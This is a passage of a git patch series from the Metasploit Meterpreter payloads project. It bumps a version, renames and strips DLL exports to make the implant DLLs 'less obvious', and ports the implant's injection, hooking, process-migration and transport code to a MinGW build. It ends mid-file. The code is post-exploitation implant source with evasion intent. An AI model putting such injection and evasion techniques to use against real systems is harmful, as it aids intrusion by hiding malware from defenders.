From 31c3e75d7fed510ed99067619b5ef376b42630ff Mon Sep 17 00:00:00 2001
From: Metasploit <metasploit@rapid7.com>
Date: Tue, 23 Jun 2020 15:23:51 -0500
Subject: [PATCH 01/28] Bump metasploit-payloads to 2.0.7

---
 gem/lib/metasploit-payloads/version.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/gem/lib/metasploit-payloads/version.rb b/gem/lib/metasploit-payloads/version.rb
index 28a779c2..d68f7654 100644
--- a/gem/lib/metasploit-payloads/version.rb
+++ b/gem/lib/metasploit-payloads/version.rb
@@ -1,6 +1,6 @@
 # -*- coding:binary -*-
 module MetasploitPayloads
-  VERSION = '2.0.6'
+  VERSION = '2.0.7'
 
   def self.version
     VERSION

From e6441ad2fa842bc70e7af0bd8439927f683f7ecd Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Mon, 18 May 2020 19:20:43 +1000
Subject: [PATCH 02/28] Remove DLL exports from Meterpreter

Add support for loading RDI-related stuff using ordinals instead of
function names. Remove exports from the extensions/etc. This is another
step in the direction to make the DLLs less obvious.

Extensions no longer have their own name in the library metadata.
They're all "extension.dll". Metsrv is now "server.dll" and the two
non-extensions are "plugin.dll". I was going for something a little less
obvious.

This required changes to the RDI functionality.
---
 c/meterpreter/source/ReflectiveDLLInjection                     | 2 +-
 c/meterpreter/source/extensions/kiwi/mimikatz                   | 2 +-
 c/meterpreter/source/extensions/powershell/powershell.c         | 1 -
 .../workspace/ext_server_espia/ext_server_espia.vcxproj         | 2 +-
 .../workspace/ext_server_extapi/ext_server_extapi.vcxproj       | 2 +-
 .../workspace/ext_server_incognito/ext_server_incognito.vcxproj | 2 +-
 c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj | 2 +-
 .../ext_server_lanattacks/ext_server_lanattacks.vcxproj         | 2 +-
 .../ext_server_peinjector/ext_server_peinjector.vcxproj         | 2 +-
 .../ext_server_powershell/ext_server_powershell.vcxproj         | 2 +-
 c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj | 2 +-
 .../workspace/ext_server_python/ext_server_python.vcxproj       | 2 +-
 .../workspace/ext_server_sniffer/ext_server_sniffer.vcxproj     | 2 +-
 .../workspace/ext_server_stdapi/ext_server_stdapi.vcxproj       | 2 +-
 .../workspace/ext_server_unhook/ext_server_unhook.vcxproj       | 2 +-
 .../workspace/ext_server_winpmem/ext_server_winpmem.vcxproj     | 2 +-
 c/meterpreter/workspace/meterpreter.sln                         | 1 +
 17 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/c/meterpreter/source/ReflectiveDLLInjection b/c/meterpreter/source/ReflectiveDLLInjection
index 166b946f..49dfcb65 160000
--- a/c/meterpreter/source/ReflectiveDLLInjection
+++ b/c/meterpreter/source/ReflectiveDLLInjection
@@ -1 +1 @@
-Subproject commit 166b946fbe4346d69ae7f10de5cc110b98c36cee
+Subproject commit 49dfcb65d60bfb859a7dffac2334bf19ceaa085b
diff --git a/c/meterpreter/source/extensions/kiwi/mimikatz b/c/meterpreter/source/extensions/kiwi/mimikatz
index bc5d9947..2905b40c 160000
--- a/c/meterpreter/source/extensions/kiwi/mimikatz
+++ b/c/meterpreter/source/extensions/kiwi/mimikatz
@@ -1 +1 @@
-Subproject commit bc5d9947f58838a3d3446d1c8d42031c1d386ee1
+Subproject commit 2905b40c31e6252762c3b553ac04045e76fbb458
diff --git a/c/meterpreter/source/extensions/powershell/powershell.c b/c/meterpreter/source/extensions/powershell/powershell.c
index a93eed18..b5e67adb 100755
--- a/c/meterpreter/source/extensions/powershell/powershell.c
+++ b/c/meterpreter/source/extensions/powershell/powershell.c
@@ -87,4 +87,3 @@ DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize)
 VOID CommandAdded(UINT commandId)
 {
 }
-
diff --git a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj
index 8c14ac11..e5191c0b 100644
--- a/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj
+++ b/c/meterpreter/workspace/ext_server_espia/ext_server_espia.vcxproj
@@ -320,4 +320,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
\ No newline at end of file
+</Project>
diff --git a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj
index 46fd0ed4..38b525aa 100644
--- a/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj
+++ b/c/meterpreter/workspace/ext_server_extapi/ext_server_extapi.vcxproj
@@ -338,4 +338,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
\ No newline at end of file
+</Project>
diff --git a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj
index cb7b50e9..02a43253 100644
--- a/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj
+++ b/c/meterpreter/workspace/ext_server_incognito/ext_server_incognito.vcxproj
@@ -326,4 +326,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
\ No newline at end of file
+</Project>
diff --git a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj
index 798dd168..c3a7bcdc 100644
--- a/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj
+++ b/c/meterpreter/workspace/ext_server_kiwi/ext_server_kiwi.vcxproj
@@ -558,4 +558,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
\ No newline at end of file
+</Project>
diff --git a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj
index b8cd4576..d8343833 100644
--- a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj
+++ b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj
@@ -296,4 +296,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
\ No newline at end of file
+</Project>
diff --git a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj
index 0de4e528..8f23af51 100755
--- a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj
+++ b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj
@@ -321,4 +321,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
\ No newline at end of file
+</Project>
diff --git a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj
index d9b264ad..06aec954 100644
--- a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj
+++ b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj
@@ -320,4 +320,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
\ No newline at end of file
+</Project>
diff --git a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj
index aa535211..70219d88 100644
--- a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj
+++ b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj
@@ -381,4 +381,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
\ No newline at end of file
+</Project>
diff --git a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj
index 0d545cc5..d8542930 100755
--- a/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj
+++ b/c/meterpreter/workspace/ext_server_python/ext_server_python.vcxproj
@@ -671,4 +671,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
\ No newline at end of file
+</Project>
diff --git a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj
index f393b68f..e3f6bc7f 100644
--- a/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj
+++ b/c/meterpreter/workspace/ext_server_sniffer/ext_server_sniffer.vcxproj
@@ -202,4 +202,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
+</Project>
\ No newline at end of file
diff --git a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
index da6f1c66..ab138a38 100644
--- a/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
+++ b/c/meterpreter/workspace/ext_server_stdapi/ext_server_stdapi.vcxproj
@@ -431,4 +431,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
\ No newline at end of file
+</Project>
diff --git a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj
index 2a9bfc9a..1e81c325 100644
--- a/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj
+++ b/c/meterpreter/workspace/ext_server_unhook/ext_server_unhook.vcxproj
@@ -312,4 +312,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
\ No newline at end of file
+</Project>
diff --git a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj
index 36aea1b0..581cd0c7 100644
--- a/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj
+++ b/c/meterpreter/workspace/ext_server_winpmem/ext_server_winpmem.vcxproj
@@ -314,4 +314,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
\ No newline at end of file
+</Project>
diff --git a/c/meterpreter/workspace/meterpreter.sln b/c/meterpreter/workspace/meterpreter.sln
index 9ac916af..d07e6fb5 100755
--- a/c/meterpreter/workspace/meterpreter.sln
+++ b/c/meterpreter/workspace/meterpreter.sln
@@ -54,6 +54,7 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Common", "Common", "{EDE086
 		..\source\common\common_command_ids.h = ..\source\common\common_command_ids.h
 		..\source\common\common_config.h = ..\source\common\common_config.h
 		..\source\common\common_core.h = ..\source\common\common_core.h
+		..\source\common\common_exports.h = ..\source\common\common_exports.h
 		..\source\common\common_list.h = ..\source\common\common_list.h
 		..\source\common\common_metapi.h = ..\source\common\common_metapi.h
 		..\source\common\common_pivot_tree.h = ..\source\common\common_pivot_tree.h

From 060feece01e9b7479ae4e1579ba827cd6804c4d6 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Thu, 21 May 2020 09:13:10 +1000
Subject: [PATCH 03/28] Kinda almost sorta working for metsrv

---
 c/meterpreter/Makefile                        | 17 +++++++
 c/meterpreter/source/common/common.h          | 12 +++++
 c/meterpreter/source/common/common_remote.h   |  6 +--
 c/meterpreter/source/common/common_thread.h   |  4 +-
 c/meterpreter/source/jpeg-8/configure         |  2 +-
 c/meterpreter/source/metsrv/base_dispatch.c   |  2 +-
 c/meterpreter/source/metsrv/base_inject.c     |  4 +-
 c/meterpreter/source/metsrv/core.c            |  2 +-
 c/meterpreter/source/metsrv/libloader.c       | 28 +++++-----
 c/meterpreter/source/metsrv/metsrv.c          |  4 +-
 .../source/metsrv/packet_encryption.h         |  2 +-
 .../source/metsrv/server_pivot_named_pipe.c   |  4 +-
 .../metsrv/server_transport_named_pipe.c      | 10 ++--
 .../source/metsrv/server_transport_tcp.c      | 29 ++++++-----
 .../source/metsrv/server_transport_winhttp.c  | 14 ++---
 .../source/metsrv/server_transport_wininet.c  |  8 +--
 c/meterpreter/source/metsrv/thread.c          |  6 +--
 c/meterpreter/workspace/CMakeLists.txt        | 51 +++++++++++++------
 c/meterpreter/workspace/CMakeListsFuncs.txt   |  8 ++-
 c/meterpreter/workspace/metsrv/CMakeLists.txt | 19 +++++--
 .../workspace/x86_64-w64-mingw32-clang.cmake  | 20 ++++++++
 21 files changed, 167 insertions(+), 85 deletions(-)
 create mode 100644 c/meterpreter/Makefile
 create mode 100644 c/meterpreter/workspace/x86_64-w64-mingw32-clang.cmake

diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile
new file mode 100644
index 00000000..98e5d717
--- /dev/null
+++ b/c/meterpreter/Makefile
@@ -0,0 +1,17 @@
+all: meterpreter
+
+clean: meterpreter-x64-clean
+	@rm -rf workspace/build && rm -rf output/*.dll
+
+meterpreter: meterpreter-x64
+
+meterpreter-x64: meterpreter-x64-gen meterpreter-x64-build
+
+meterpreter-x64-gen:
+	cmake -G 'Unix Makefiles' -S workspace -B workspace/build/mingw-x64 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=x64 -DSTATIC_LINKAGE=ON -DUSE_STATIC_MSVC_RUNTIMES=ON -DDBGTRACE=ON
+
+meterpreter-x64-build:
+	cmake --build workspace/build/mingw-x64 --config Release
+
+meterpreter-x64-clean:
+	@rm -rf workspace/build/mingw-x64
diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h
index d24a8570..d8ba8a28 100755
--- a/c/meterpreter/source/common/common.h
+++ b/c/meterpreter/source/common/common.h
@@ -29,6 +29,18 @@
 #define dwMeterpreterArch PROCESS_ARCH_X86
 #endif
 
+#ifdef __MINGW32__
+#define ERROR_UNSUPPORTED_COMPRESSION    618L
+#define __try
+#define __except(x) if(0)
+
+#undef GetExceptionCode
+#define GetExceptionCode() 0
+
+#undef GetExceptionInformation
+#define GetExceptionInformation() NULL
+#endif
+
 typedef struct __UNICODE_STRING
 {
 	USHORT Length;
diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h
index f433a316..f15d509c 100644
--- a/c/meterpreter/source/common/common_remote.h
+++ b/c/meterpreter/source/common/common_remote.h
@@ -29,15 +29,15 @@ typedef UINT_PTR(*PTransportGetHandle)(Transport* transport);
 typedef DWORD(*PTransportGetConfigSize)(Transport* transport);
 typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle);
 typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown);
-typedef BOOL(*PTransportInit)(Transport* transport);
-typedef BOOL(*PTransportDeinit)(Transport* transport);
+typedef DWORD(*PTransportInit)(Transport* transport);
+typedef DWORD(*PTransportDeinit)(Transport* transport);
 typedef void(*PTransportDestroy)(Transport* transport);
 typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer);
 typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size);
 typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport);
 typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size);
 
-typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
+typedef DWORD(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
 typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength);
 
 typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction);
diff --git a/c/meterpreter/source/common/common_thread.h b/c/meterpreter/source/common/common_thread.h
index a53cb8e9..d5e15830 100644
--- a/c/meterpreter/source/common/common_thread.h
+++ b/c/meterpreter/source/common/common_thread.h
@@ -13,7 +13,8 @@ typedef struct _EVENT
 
 #define THREADCALL __stdcall
 
-typedef DWORD (THREADCALL * THREADFUNK)(struct _THREAD * thread);
+typedef struct _THREAD THREAD, *LPTHREAD;
+typedef DWORD (THREADCALL * THREADFUNK)(LPTHREAD thread);
 
 struct _THREAD
 {
@@ -26,6 +27,5 @@ struct _THREAD
 	LPVOID parameter3;
 };
 
-typedef struct _THREAD THREAD, * LPTHREAD;
 
 #endif
diff --git a/c/meterpreter/source/jpeg-8/configure b/c/meterpreter/source/jpeg-8/configure
index daefbe1b..7767f984 100644
--- a/c/meterpreter/source/jpeg-8/configure
+++ b/c/meterpreter/source/jpeg-8/configure
@@ -1,4 +1,4 @@
-#! /bin/sh
+#!/bin/bash
 # Guess values for system-dependent variables and create Makefiles.
 # Generated by GNU Autoconf 2.65 for libjpeg 8.0.
 #
diff --git a/c/meterpreter/source/metsrv/base_dispatch.c b/c/meterpreter/source/metsrv/base_dispatch.c
index 24c6e241..cb605786 100644
--- a/c/meterpreter/source/metsrv/base_dispatch.c
+++ b/c/meterpreter/source/metsrv/base_dispatch.c
@@ -565,7 +565,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
 
 			if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
 			{
-				if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL));
+				if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
 				{
 					dprintf("[MIGRATE] Got SeDebugPrivilege!");
 				}
diff --git a/c/meterpreter/source/metsrv/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c
index df0a1e21..cef09684 100644
--- a/c/meterpreter/source/metsrv/base_inject.c
+++ b/c/meterpreter/source/metsrv/base_inject.c
@@ -2,7 +2,7 @@
 #include "base_inject.h"
 #include "remote_thread.h"
 #include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
-#include <Tlhelp32.h>
+#include <tlhelp32.h>
 
 // see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
 // 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484
@@ -539,7 +539,7 @@ DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR ref
 			BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); 
 
 		// add the offset to ReflectiveLoader() to the remote library address...
-		lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
+		lpReflectiveLoader = (LPVOID)(DWORD_PTR)((DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset);
 	
 		// First we try to inject by directly creating a remote thread in the target process
 		if( inject_via_remotethread( NULL, NULL, hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
diff --git a/c/meterpreter/source/metsrv/core.c b/c/meterpreter/source/metsrv/core.c
index 68060f20..6615d53c 100644
--- a/c/meterpreter/source/metsrv/core.c
+++ b/c/meterpreter/source/metsrv/core.c
@@ -83,7 +83,7 @@ VOID core_update_desktop(Remote * remote, DWORD dwSessionID, char * cpStationNam
 		temp_session = remote->curr_sess_id;
 
 		// A session id of -1 resets the state back to the servers real session id
-		if (dwSessionID = -1)
+		if (-1 == dwSessionID)
 		{
 			dwSessionID = remote->orig_sess_id;
 		}
diff --git a/c/meterpreter/source/metsrv/libloader.c b/c/meterpreter/source/metsrv/libloader.c
index 4867ffdf..a1823a0c 100644
--- a/c/meterpreter/source/metsrv/libloader.c
+++ b/c/meterpreter/source/metsrv/libloader.c
@@ -104,8 +104,8 @@ typedef struct _SHELLCODE_CTX {
 	/* Global offset */
 	DWORD				offset;
 	/* Allocated memory sections */
-	DWORD				file_address;
-	DWORD				mapped_address;
+	DWORD_PTR file_address;
+	DWORD_PTR mapped_address;
 	DWORD				size_map;
 
 	/* Hook stub functions */
@@ -333,7 +333,7 @@ void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub,
 	bytes = 5;
 
 	/* Create the stub */
-	WriteProcessMemory((HANDLE)-1, stub, (char *)address,
+	WriteProcessMemory((HANDLE)-1, stub, (LPVOID)address,
 		bytes, &written);
 	*(PBYTE)(stub + bytes) = 0xE9;
 	*(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5);
@@ -342,7 +342,7 @@ void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub,
 	/* Patch original function */
 
 	/* Fix protection */
-	VirtualQuery((char *)address, &mbi_thunk,
+	VirtualQuery((LPVOID)address, &mbi_thunk,
 		sizeof(MEMORY_BASIC_INFORMATION));
 	VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
 		PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
@@ -424,7 +424,7 @@ void install_hooks(SHELLCODE_CTX *ctx)
 }
 
 /* Restore given function */
-void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub)
+void restore_function(SHELLCODE_CTX *ctx, DWORD_PTR address, unsigned char *stub)
 {
 	DWORD				protect;
 	ULONG 				bytes;
@@ -436,13 +436,13 @@ void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub)
 	/* Patch original function */
 
 	/* Fix protection */
-	VirtualQuery((char *)address, &mbi_thunk,
+	VirtualQuery((LPVOID)address, &mbi_thunk,
 		sizeof(MEMORY_BASIC_INFORMATION));
 	VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
 		PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
 
 	/* Copy bytes back to function */
-	WriteProcessMemory((HANDLE)-1, (char *)address, stub,
+	WriteProcessMemory((HANDLE)-1, (LPVOID)address, stub,
 		bytes, &written);
 
 	/* Restore protection */
@@ -477,24 +477,24 @@ void remove_hooks(SHELLCODE_CTX *ctx)
 	lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose");
 
 	/* NtMapViewOfSection */
-	restore_function(ctx, (DWORD)lNtMapViewOfSection,
+	restore_function(ctx, (DWORD_PTR)lNtMapViewOfSection,
 		ctx->s_NtMapViewOfSection);
 
 	/* NtQueryAttributesFile */
-	restore_function(ctx, (DWORD)lNtQueryAttributesFile,
+	restore_function(ctx, (DWORD_PTR)lNtQueryAttributesFile,
 		 ctx->s_NtQueryAttributesFile);
 
 	/* NtOpenFile */
-	restore_function(ctx, (DWORD)lNtOpenFile, ctx->s_NtOpenFile);
+	restore_function(ctx, (DWORD_PTR)lNtOpenFile, ctx->s_NtOpenFile);
 
 	/* NtCreateSection */
-	restore_function(ctx, (DWORD)lNtCreateSection, ctx->s_NtCreateSection);
+	restore_function(ctx, (DWORD_PTR)lNtCreateSection, ctx->s_NtCreateSection);
 
 	/* NtOpenSection */
-	restore_function(ctx, (DWORD)lNtOpenSection, ctx->s_NtOpenSection);
+	restore_function(ctx, (DWORD_PTR)lNtOpenSection, ctx->s_NtOpenSection);
 
 	/* NtClose */
-	restore_function(ctx, (DWORD)lNtClose, ctx->s_NtClose);
+	restore_function(ctx, (DWORD_PTR)lNtClose, ctx->s_NtClose);
 }
 
 /* Map file in memory as section */
@@ -593,7 +593,7 @@ HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength)
 		ctx->liblen = (int)strlen(ctx->libname) + 1;
 
 		// The address of the raw buffer
-		ctx->file_address = (DWORD)buffer;
+		ctx->file_address = (DWORD_PTR)buffer;
 
 		// Map the buffer into memory
 		map_file(ctx);
diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c
index 7b11c2ef..0777b872 100644
--- a/c/meterpreter/source/metsrv/metsrv.c
+++ b/c/meterpreter/source/metsrv/metsrv.c
@@ -132,5 +132,5 @@ VOID rand_xor_key(BYTE buffer[4])
 
 BOOL is_null_guid(BYTE guid[sizeof(GUID)])
 {
-	return memcmp(guid, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(guid)) == 0 ? TRUE : FALSE;
-}
\ No newline at end of file
+	return memcmp(guid, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(GUID)) == 0 ? TRUE : FALSE;
+}
diff --git a/c/meterpreter/source/metsrv/packet_encryption.h b/c/meterpreter/source/metsrv/packet_encryption.h
index feb532ef..9dfef333 100644
--- a/c/meterpreter/source/metsrv/packet_encryption.h
+++ b/c/meterpreter/source/metsrv/packet_encryption.h
@@ -1,7 +1,7 @@
 #ifndef _METERPRETER_METSRV_PACKET_ENCRYPTION_H
 #define _METERPRETER_METSRV_PACKET_ENCRYPTION_H
 
-#include <Windows.h>
+#include <windows.h>
 
 #define AES256_BLOCKSIZE 16
 #define ENC_FLAG_NONE   0x0
diff --git a/c/meterpreter/source/metsrv/server_pivot_named_pipe.c b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c
index ab54c470..57ab877b 100644
--- a/c/meterpreter/source/metsrv/server_pivot_named_pipe.c
+++ b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c
@@ -2,8 +2,8 @@
 #include "server_pivot_named_pipe.h"
 #include "packet_encryption.h"
 
-#include <AccCtrl.h>
-#include <AclApi.h>
+#include <accctrl.h>
+#include <aclapi.h>
 
 #define PIPE_NAME_SIZE 256
 #define PIPE_BUFFER_SIZE 0x10000
diff --git a/c/meterpreter/source/metsrv/server_transport_named_pipe.c b/c/meterpreter/source/metsrv/server_transport_named_pipe.c
index 10fa51de..d9a98f83 100644
--- a/c/meterpreter/source/metsrv/server_transport_named_pipe.c
+++ b/c/meterpreter/source/metsrv/server_transport_named_pipe.c
@@ -101,7 +101,7 @@ static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet)
 {
 	DWORD headerBytes = 0, payloadBytesLeft = 0, res;
 	PacketHeader header = { 0 };
-	LONG bytesRead;
+	DWORD bytesRead;
 	BOOL inHeader = TRUE;
 	PUCHAR packetBuffer = NULL;
 	PUCHAR payload = NULL;
@@ -156,7 +156,7 @@ static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet)
 		dprintf("[PIPE] discovered a length header, assuming it's metsrv of length %d", length);
 
 		int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD);
-		char* buffer = (char*)malloc(bytesToRead);
+		BYTE* buffer = (BYTE*)malloc(bytesToRead);
 		read_raw_bytes_to_buffer(ctx, buffer, bytesToRead, &bytesRead);
 		free(buffer);
 
@@ -466,7 +466,7 @@ static HANDLE bind_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts)
  * @param transport Pointer to the transport instance.
  * @return Indication of success or failure.
  */
-static BOOL configure_named_pipe_connection(Transport* transport)
+static DWORD configure_named_pipe_connection(Transport* transport)
 {
 	DWORD result = ERROR_SUCCESS;
 	wchar_t tempUrl[512];
@@ -545,7 +545,7 @@ static BOOL configure_named_pipe_connection(Transport* transport)
 	if (ctx->pipe == INVALID_HANDLE_VALUE)
 	{
 		dprintf("[SERVER] Something went wrong");
-		return FALSE;
+		return ERROR_INVALID_PARAMETER;
 	}
 
 	dprintf("[SERVER] Looking good, FORWARD!");
@@ -555,7 +555,7 @@ static BOOL configure_named_pipe_connection(Transport* transport)
 
 	transport->comms_last_packet = current_unix_timestamp();
 
-	return TRUE;
+	return result;
 }
 
 /*!
diff --git a/c/meterpreter/source/metsrv/server_transport_tcp.c b/c/meterpreter/source/metsrv/server_transport_tcp.c
index 337d99e0..5aa0ea88 100644
--- a/c/meterpreter/source/metsrv/server_transport_tcp.c
